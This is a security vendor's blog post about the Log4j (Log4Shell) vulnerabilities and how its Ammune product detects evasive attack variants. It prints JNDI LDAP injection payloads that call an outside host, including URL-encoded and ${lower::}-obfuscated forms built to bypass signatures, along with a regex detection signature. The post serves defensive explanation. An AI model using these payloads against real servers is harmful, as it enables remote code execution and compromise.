L7 Defense’s Ammune™

Protects Against Log4J Variants and Targeted Attacks

Insecure implementation of API can risk your data
January 12, 2022 10:52 am Mark Ginzburg and Doron Chema

Introduction

On December 9, 2021, a remote code execution (RCE) vulnerability in Apache log4j2, was identified as being exploited in the wild. The first attacks seemed to only target Apache web servers, but the following investigations showed that hundreds of high-profile products and open-source modules were also vulnerable. The reason is, that the log4j module is not limited to webservers, but can virtually be everywhere. For example, organizations might log failed login attempts with log4j, allowing them to send the exploitation payload via a username field.
Organizations that use log4j for custom logging their applications or security events are now facing countless organization-specific exploitation vectors. Exploitation is very easy, allowing attackers to get full control of the attacked system with just one request.
Thus far, massive scanning activity for CVE-2021-44228 (i.e., log4j vulnerability) has begun. Similar to the COVID pandemic, it didn't take long before dangerous evading variants appeared that bypassed initial signature-based protection. The current situation is a continuous race against time to block new variants before they can do significant damage.
Best practices for protection against log4J attacks, as well as the limitations of signature-based solutions, were described in a previous article. How Ammune™ protects against evading variants and targeted attacks using log4J vulnerability is described in this article.

Vulnerability still exists after the initial patch

It turned out that the initial log4j patch did not fully mitigate the attack, and attackers could still inflict damage. Two additional vulnerabilities were published, CVE-2021-45046 and CVE-2021-45105, that allowed DDoS attacks and evaded exploitation mitigation. In some cases, they triggered RCE. It is likely that additional vulnerabilities or/and bypasses will be detected in the future. Companies find it difficult to initialize the patching process, which makes the job even more difficult. It all brings us to the point that efficient active protection against log4j vulnerabilities is a must for the foreseeable future.

Evading variants of Log4J attacks

Just like any other "language-based vulnerability" (SQLi, PHPi, etc.) there are multiple "lingual ways" (aka "mutations") to evade a log4j statement discovery even when using the most sophisticated textual signatures.

Below are two common evading techniques:

1.Using standard evading techniques such as URL encoding, char escaping, replacing chars with their Unicode equivalent, etc.
Payload example:
The statement:
%24%7Bjndi%3Aldap%3A%2F%2F43.32.11.84%2Ftest%7D
is a url-encoded version of the statement:
${jndi:ldap://43.32.11.84/test}
If used as a URL parameter, the URL-decoding will occur before log4j logging.
Hence, WAF or IDS will find an encoded sequence that doesn't match the regex signature, but log4j will process the decoded payload that contains the exploit.
Signature example:
\$\{jndi:(ldap[s]?|rmi|dns):/[^\n]+
2.Obscuring key string with log4j operators
  • Using standard evading techniques such as URL encoding, char escaping, replacing chars with their Unicode equivalent, etc.
  • Obscuring key string with Log4j operators.
    Example: Breaking the original payload into substrings, each replaced by a lower operator
    ${lower::}, Thus, breaking up expected patterns and bypassing pattern matching. Evading attempts are therefore already on their way. It allows the attacker to generate the payload like the following one (their myriad of variations):
    ${${lower::j}${::n}d${lower::i}:${lower::l}${lower::d}${lower::a}${lower::p}://43.32.11[.]84/test}

Ammune™ vs. log4j attack variants

Ammune™ protection from injection threats (such as Log4J) is done by applying positive and negative security models at API endpoint argument level according to the following procedure:
1. Applying extensive DPI and dynamic parsing steps to the API request argument content
2. Finding anomaly signs at the content level (Positive security model)
4. Correlating the analysis results of steps 2 and 3, as well as other suspicious signs found at related entities such as source IP, user, etc.
3. Finding attack signs according to the attack syntax via a dedicated ML engine (Negative security model)

This technique enables Ammune™ to verify threats and early signs of evasion tactics and block them on the spot in a highly accurate way (leaving FPs out of the game…)

Methodology & Results

Ammune™ deployments at enterprise customers were updated with the mechanism described above, just a few days after the attack's initial observation. A significant surge of evading log4j variants was identified by Ammune™ (see Figures 1-10) that were successfully bypassing WAFs and IPSs. Furthermore, the original vulnerability (CVE-2021-44228) and its derivatives (CVE-2021-45046 and CVE-2021-45105) were also identified by Ammune™.

Log4j ProtectionLog4j Protection
Figure 1 - Log4j vector, which bypassed the 2.15 version patch (CVE-2021-45046), embedded into user-agent argument. Figure 2 - Log4j vector, which bypassed the 2.15 version patch (CVE-2021-45105), embedded into user-agent argument.
Log4j ProtectionLog4j Protection
Figure 3 - log4j operators, used to obscure the injected payload, embedded into user-agent argument.Figure 4 - Log4j DoS attack (CVE-2021-45105), which bypassed the version 2.15 patch, embedded into user-agent argument.
Log4j ProtectionLog4j Protection
Figure 5 - Attack via email input argument of the login API. Figure 6 - Log4J DoS attack (CVE 45015) via email input argument at login API endpoint.
Log4j ProtectionLog4j Protection
Figure 7 - Log4J probing attempt during targeted attacks. In this case, attackers just checked what kind of signatures / protection are being used.Figure 8 - Payload injection implemented via the base64 encoding argument.
Log4j ProtectionLog4j Protection
Figure 9 - Log4j DoS attack via email input argument at the login API endpoint.Figure 10 - The attack uses a log4j operator to obscure the attacking payload on email input at the login API endpoint.

Highlights

Here are important highlights from the attack samples:

  • Injection via user-agent header (Figures 1-4) and URL that target web servers are still very common.
  • The user-agent field is frequently logged by java web-based servers such as Apache. The injection vector is the most popular one used by attackers to scan the whole internet for vulnerable machines.
  • Obfuscated payloads bypass signature-based protections (Figure 3).
  • There are attack vectors that perform DoS attacks (Figures 2 and 4). These vectors are still dangerous regarding an initial log4j patch.
  • There are attack vectors that perform DoS attacks (Figures 2 and 4). These vectors are still dangerous regarding an initial log4j patch.
  • Email/Username input is a very popular injection target as applications frequently log failed login attempts with log4j.
  • WAF protection is limited in the cases mentioned above since signatures applied to test the body arguments are usually limited, also due to the high chance of false positives.
  • WAF protection is also limited in case of an injection implemented via base64 encoding arguments, due to the inability of many WAF solutions to decode base64 payloads automatically.

Combine the power of AI
into your business

Contact us today to learn more

l7 defense ammune